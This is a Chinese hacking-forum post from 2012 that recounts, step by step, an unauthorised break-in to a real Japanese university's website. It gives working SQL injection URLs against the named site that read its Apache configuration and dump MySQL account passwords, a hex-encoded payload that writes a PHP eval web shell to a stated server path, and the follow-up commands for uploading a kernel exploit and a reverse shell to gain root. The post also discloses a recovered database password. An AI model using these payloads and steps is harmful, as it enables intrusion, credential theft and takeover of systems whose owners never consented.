中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
8 c; {2 d1 ^" Q! J
  B( @6 I  i) m% C! W! bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
" M! V4 y7 X6 `( u1 @" f& [% g然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) v/ T$ T4 M  B6 i) m: t" y: K) z' e$ `- B; _" b
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user9 w& I1 r+ e$ ~$ o8 {' T) y( j
% A4 y8 k8 H8 B' n
0 D; ]0 l- }* p1 P
- ?% B4 F( @8 k6 ?- g2 N$ s# C
//@@datadir为数据库文件路径 - u* _. \9 f. G2 m# B& ^" k# J

; |9 B+ T- R. r/ z2 l$ x* m6 `# t( C8 ^$ x2 J- I2 |$ Y* U+ s
//load_file读取网站容器apache的配置文件 3 k& g6 q$ {: S/ V( T4 d
  o2 _: n+ I5 |) r8 W" S
. Z* u0 t: t% j& h  ?* I9 h. X
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ' c* ^  R: ]9 Q; H3 A8 p8 [1 K! f* t
复制代码  i# f1 r0 M( p8 A+ s, z9 W' S
5 s$ G8 `; Q; _/ w) O0 y' b+ _
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
$ k, U9 M) Q0 q( y" h  E# ~  \2 h5 J
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。' W# B1 _6 Z$ ^
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" v) k0 `- R' ^' \9 A' c5 X( s) K/ D! I* \& u% {, X7 F
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
: N" B1 V6 {( n1 o1 ]如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
! `' }/ ~# _  L6 d9 O) \$ @0 _: F, g: u/ a3 u8 o
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/2 x. ^- ?) V) q6 T( X; \
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。- p/ R& \7 G8 }) u# H# x2 Y) _
直接写一句话:
% d# v: C. g7 Q' t
. F9 `; U4 b2 s# j3 J. ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
! Y: C5 k6 }; G% }8 J) c# V& K, W5 i+ ?) t6 T. h

, s; {, O- P$ G5 m( {9 ~( m" M6 n! J! ^# @
//最后的#是为了闭合前面的语句
* N$ ^1 P/ ]- n- \5 u# g 0 t2 B- I; R* m" q" h9 [" u
) O- r' k! C* m6 I$ u
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 3 i4 N4 S) T5 z

' j; C8 Q# S4 F- @( l! G* {
: u$ e( M& Q8 s/ l为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
6 `$ q3 S" v. x  ]& q* ?
# ~* g; _6 ]/ _" x) |5 }- L* K. a1 x  j
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
" ]3 e1 R8 |1 Q! C) [; u* v$ w
; v/ a. D& H$ H: T; @  u& E3 ]7 o" q# ?$ P+ V0 ^( K7 Z1 e
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
# Q& _. e( C" }9 u0 R//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” + }/ t8 X! d: l
复制代码8 ~" A4 b* x8 \' F! X9 z% ?

8 o1 `, u( O4 e0 ?5 \7 EHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有% B  L$ J' r' c4 j
通过上述注入语句,我们就得到了一句话木马:1 |8 p: D7 Z8 S  m

) Z- p. ?3 w6 n, ]( i 0 R: [. j6 u* s+ n. w
# ]/ H2 H  A+ y8 Y. x" K8 M
! s6 m3 r& o1 n, O/ R% G
/ l9 y; F5 b( w* G! _& U
http://www.doshisha.ac.jp/english/engnews_img/aa.php , x* C" V% e. K/ d  y
复制代码
* B2 |4 Y, j) U; @3 b) [5 N% ~! n- k9 |+ R
用菜刀连接,密码是cmd,如图所示:# H6 [5 I: `" |! |# R
然后在命令提示行里看了一下,现在的权限是:, U" |+ f% o" Q
0 x2 `$ k& M6 T; s
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。# [$ G0 y& ], K0 y
好在赋权给这个文件夹不需要root,直接执行赋权语句:% W- S  o( k9 G( Y! E9 [
/ n* K/ a2 O! n. X# n0 z* ?

9 h9 Z% l7 }0 S7 s6 V. f2 Q; j; i- b2 j  |- g
* V% N% z2 L; F$ \" U/ Q2 K
. [- x0 }4 z3 P
chmod +x /tmp/ * U6 [3 a( t5 Z# e6 f
复制代码
+ ]. U9 Y3 S7 j6 A4 ?# F4 i4 z0 G5 i3 q0 L
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
' O9 U, U1 _" }/ @5 G/ ?然后就查了一下内核版本:
" f  H0 M6 R- J& U, N/ b+ R9 D/ C$ c) ~1 S! o0 [6 t' [1 C+ v  {  Q
  {/ @6 f3 Y' V- R6 X
' p  e; |9 M, R" F9 }% U

/ |0 |' ]' U' L1 i# ~  A$ H+ `8 }0 O% m7 P7 b2 @
uname-a
, W3 Q; t8 ^, M
3 T4 `+ y5 z6 R3 K8 S( k+ R6 W4 V- ~& J$ y* P
//其实lsb_release -a # v8 a! l# L$ Y8 p  E0 ?
复制代码( i/ ?' k) a( d% u) v
% O% T% |' J; L6 U
如图所示:
$ ~9 r8 m# v! N" U9 q! v( R  @! |% h7 P( N6 v
内核版本:linux mainz1 2.6.28-194.e15
! I7 f7 ]+ N0 p, ?/ t' J6 J; Q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
; ^$ H( ?% S# {+ K5 T1 c查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹0 b! S# n' {3 M  u+ }

3 I! r# q+ N) c) B8 L5 ]8 |然后给予执行权限  @4 `) w) ]2 T1 A# D& ?8 F
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样/ o2 i: u5 C$ ^
& D% R  E( r, S8 r5 ?5 L! z; I
+ ~' i; ^* e* K- T4 [3 ]7 m
" b& s8 L/ R: r  @' ~

$ T- M) u: f; j, F' k& A8 Y- M' |# m/ Z  R
chmod +x /tmp/2.6.18-194
" I4 t- R; T+ y% I复制代码 然后直接执行!~
& Q8 @2 h6 P/ z- D7 L
) c" [* G, J& x4 v总结:; q5 n' n" R$ _5 {% `( ?
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
" U* T1 B+ ?/ M" z提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root" U% k5 c  C- x) A; N: p8 U

7 a, J" j& `: N# ~




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2